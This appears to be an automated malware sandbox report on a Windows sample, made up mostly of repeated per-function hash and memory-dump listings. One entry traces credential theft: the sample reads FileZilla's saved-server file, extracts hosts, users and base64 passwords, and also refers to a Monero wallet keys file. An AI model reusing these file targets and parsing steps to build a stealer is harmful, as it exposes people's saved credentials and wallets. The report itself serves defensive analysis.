Opcode Fuzzy Hash: 604933f57a7ef5b098d78974eee4a6a77c4e7235badc6d009ba17cb4d793d39f
Instruction Fuzzy Hash: DC11FAB8A00209DFDB04DF94D985AAE77F5FF89300F104568E8159B340D774AE50CF61

Function 012D611B Relevance: 2.6, Strings: 2, Instructions: 149COMMON

Download Yara Rule

Strings

:coy, xrefs: 012D6178
@s7;, xrefs: 012D622C

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :coy$@s7;
API String ID: 0-2320488287
Opcode ID: 7a88968446e036a58fa5422e63d49a1640519f408430f2b02f88853cf49cf70e
Instruction ID: 36a7ae688075033c500c462185e8a3444d6ca3f7c5d875da78a59499de060bcf
Opcode Fuzzy Hash: 7a88968446e036a58fa5422e63d49a1640519f408430f2b02f88853cf49cf70e
Instruction Fuzzy Hash: EF41E7F3A083089BF3047E59DC8576AB3D9EB94710F1A853CD7D883B44E939A9058396

Function 01237FE2 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

y{V, xrefs: 0123804E

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: y{V
API String ID: 0-4047489751
Opcode ID: 9accaa2b0f35b3252f0aab11926d7ec489589ec83f5929cd140d1d5a44f3ffba
Instruction ID: bdb7a917dba2763b57d806aadd68d6c656ee64ae5057f57a7aae108ff743a94b
Opcode Fuzzy Hash: 9accaa2b0f35b3252f0aab11926d7ec489589ec83f5929cd140d1d5a44f3ffba
Instruction Fuzzy Hash: 1461F5F3E182005FF3149E3DED4576ABBD6DBD4720F1B863DEA8893784E93898058646

Function 01274B01 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

*){:, xrefs: 01274BA7

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *){:
API String ID: 0-3549467814
Opcode ID: 7e065eed9117f24f9b115821cf4d1143d33411419678e3cfcb11d63f610e3e44
Instruction ID: 2331c6d3ad93d39b7405d0135603cf98dbf575f5ce9e459858f3051e227d7698
Opcode Fuzzy Hash: 7e065eed9117f24f9b115821cf4d1143d33411419678e3cfcb11d63f610e3e44
Instruction Fuzzy Hash: 1A415CB3E082245FE3085A2DDC557AAB7DAEBD4730F1A453EEA85D7384E9794C0183D2

Function 01337BBE Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ff59c80c4cdc5bc26ccba5976c3d21abaa0c09e700d77ef46d5205d8648963c
Instruction ID: ec18aee3eba6ca66be82ddfa730d1379bac9362068ed6d8f35f8dcca062221f0
Opcode Fuzzy Hash: 0ff59c80c4cdc5bc26ccba5976c3d21abaa0c09e700d77ef46d5205d8648963c
Instruction Fuzzy Hash: 637104F3E083045FE7047E2DDC8976ABBE4EB94720F0A463DDAC497745EA3959048683

Function 012B2F2D Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87a1d4d6a9ea1dcc7abc6db43c10c197e8a141b7ec59deef29e8abe139c98625
Instruction ID: 48518d17b443065413ba488f1c4d39a18ed5eade763abe4fa4d6085fbddc035e
Opcode Fuzzy Hash: 87a1d4d6a9ea1dcc7abc6db43c10c197e8a141b7ec59deef29e8abe139c98625
Instruction Fuzzy Hash: 2A517CF3E186005BF30CAD2EFC9577A76D6DBD8310F6A863DD986C7780E83848058186

Function 0133E684 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad54b53e834e520d7d689ede328bb3652e223a668eb4264e40012a19774e622a
Instruction ID: 118ee5ec6f1d89da26bf31c3ec3eca1edefe0e6722914c3789b90508c6b790f4
Opcode Fuzzy Hash: ad54b53e834e520d7d689ede328bb3652e223a668eb4264e40012a19774e622a
Instruction Fuzzy Hash: 9A513CF39083089BD7007A6DEC4577AFBD9EF90620F26493EE684C3380F9B56C458656

Function 01291AF4 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4087a20d23b285f4c1e4ef123ac400cd82a834806e99bf6a71fbca30e9beaee
Instruction ID: 54c4d104012ca03d8daf43b9f7ab1f681e1c84e6b932165406b6777930eab9c8
Opcode Fuzzy Hash: e4087a20d23b285f4c1e4ef123ac400cd82a834806e99bf6a71fbca30e9beaee
Instruction Fuzzy Hash: B9313BF3A082046FE3046A4DFC80A7BB7D9D7D4320F2A4639EE94C7740E5369C068692

Function 0139F1AB Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac82f76ad6db31649e8c6c4965542ed40f064bb99d2d7d9443dded5ed1ebd24f
Instruction ID: b3e7896a01155956103d4726134fd49dca717eb61d089ac2064ede3a67bef3cb
Opcode Fuzzy Hash: ac82f76ad6db31649e8c6c4965542ed40f064bb99d2d7d9443dded5ed1ebd24f
Instruction Fuzzy Hash: A83128F790C6089BD7006E29DC8073AFEEEEB94228F26462AE9D5E3B10D1755C0186D3

Function 013F0521 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46ef6e441e1e9d310ea3f8e456257ab5871483ac03b62047433107fa46d1ca50
Instruction ID: bd959919f4ccfdcaa1be3a8c6646ff35550a531f67e2829ba713eced9cb32286
Opcode Fuzzy Hash: 46ef6e441e1e9d310ea3f8e456257ab5871483ac03b62047433107fa46d1ca50
Instruction Fuzzy Hash: 3E3176F250C304AFE309BF29D88276AFBE5EF98310F16482CE2C583600E635A4508A87

Function 00FB9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00FB0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FBA740: lstrcpy.KERNEL32(00FC0E17,00000000), ref: 00FBA788

Part of subcall function 00FB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FB8E0B

Part of subcall function 00FBA920: lstrcpy.KERNEL32(00000000,?), ref: 00FBA972
Part of subcall function 00FBA920: lstrcat.KERNEL32(00000000), ref: 00FBA982

Part of subcall function 00FBA8A0: lstrcpy.KERNEL32(?,00FC0E17), ref: 00FBA905

Part of subcall function 00FBA9B0: lstrlen.KERNEL32(?,008C8F50,?,\Monero\wallet.keys,00FC0E17), ref: 00FBA9C5
Part of subcall function 00FBA9B0: lstrcpy.KERNEL32(00000000), ref: 00FBAA04
Part of subcall function 00FBA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FBAA12

Part of subcall function 00FBA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FBA7E6

Part of subcall function 00FA99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00FA99EC
Part of subcall function 00FA99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00FA9A11
Part of subcall function 00FA99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00FA9A31
Part of subcall function 00FA99C0: ReadFile.KERNEL32(000000FF,?,00000000,00FA148F,00000000), ref: 00FA9A5A
Part of subcall function 00FA99C0: LocalFree.KERNEL32(00FA148F), ref: 00FA9A90
Part of subcall function 00FA99C0: CloseHandle.KERNEL32(000000FF), ref: 00FA9A9A

Part of subcall function 00FB8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FB8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00FC0DBA,00FC0DB7,00FC0DB6,00FC0DB3), ref: 00FB0362
RtlAllocateHeap.NTDLL(00000000), ref: 00FB0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00FB0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00FB03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00FB0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00FB0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00FB0562
lstrcat.KERNEL32(?,profile: null), ref: 00FB0571
lstrcat.KERNEL32(?,url: ), ref: 00FB0580
lstrcat.KERNEL32(?,00000000), ref: 00FB0593
lstrcat.KERNEL32(?,00FC1678), ref: 00FB05A2
lstrcat.KERNEL32(?,00000000), ref: 00FB05B5
lstrcat.KERNEL32(?,00FC167C), ref: 00FB05C4
lstrcat.KERNEL32(?,login: ), ref: 00FB05D3
lstrcat.KERNEL32(?,00000000), ref: 00FB05E6
lstrcat.KERNEL32(?,00FC1688), ref: 00FB05F5
lstrcat.KERNEL32(?,password: ), ref: 00FB0604
lstrcat.KERNEL32(?,00000000), ref: 00FB0617
lstrcat.KERNEL32(?,00FC1698), ref: 00FB0626
lstrcat.KERNEL32(?,00FC169C), ref: 00FB0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00FC0DB2), ref: 00FB068E

Strings

url: , xrefs: 00FB0577
profile: null, xrefs: 00FB0568
<User>, xrefs: 00FB0410
login: , xrefs: 00FB05CA
<Host>, xrefs: 00FB037C
<Port>, xrefs: 00FB03C6
password: , xrefs: 00FB05FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00FB02A4
browser: FileZilla, xrefs: 00FB0559
<Pass encoding="base64">, xrefs: 00FB045A

Memory Dump Source

Source File: 00000000.00000002.1746921338.0000000000FA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746901409.0000000000FA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001051000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.000000000105D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746921338.00000000011EA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000011FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001390000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001470000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.0000000001493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.000000000149C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747120792.00000000014AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747457383.00000000014AB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747581886.0000000001650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747599841.0000000001651000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 561a5d22d56efa85be2e71871e3f5f3d3c2d96d4a48d1a9c254d3ac163471def
Instruction ID: 19a5c98490496c6879688bd5f33b02ef09c4ca10e7500019ccd5e6fdb7ea1d8d
Opcode Fuzzy Hash: 561a5d22d56efa85be2e71871e3f5f3d3c2d96d4a48d1a9c254d3ac163471def
Instruction Fuzzy Hash: B8D12B71900208ABCB14EBE1DD96EEE7778FF54301F544428F112A7085EE78EA56EF61

Function 00FA5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

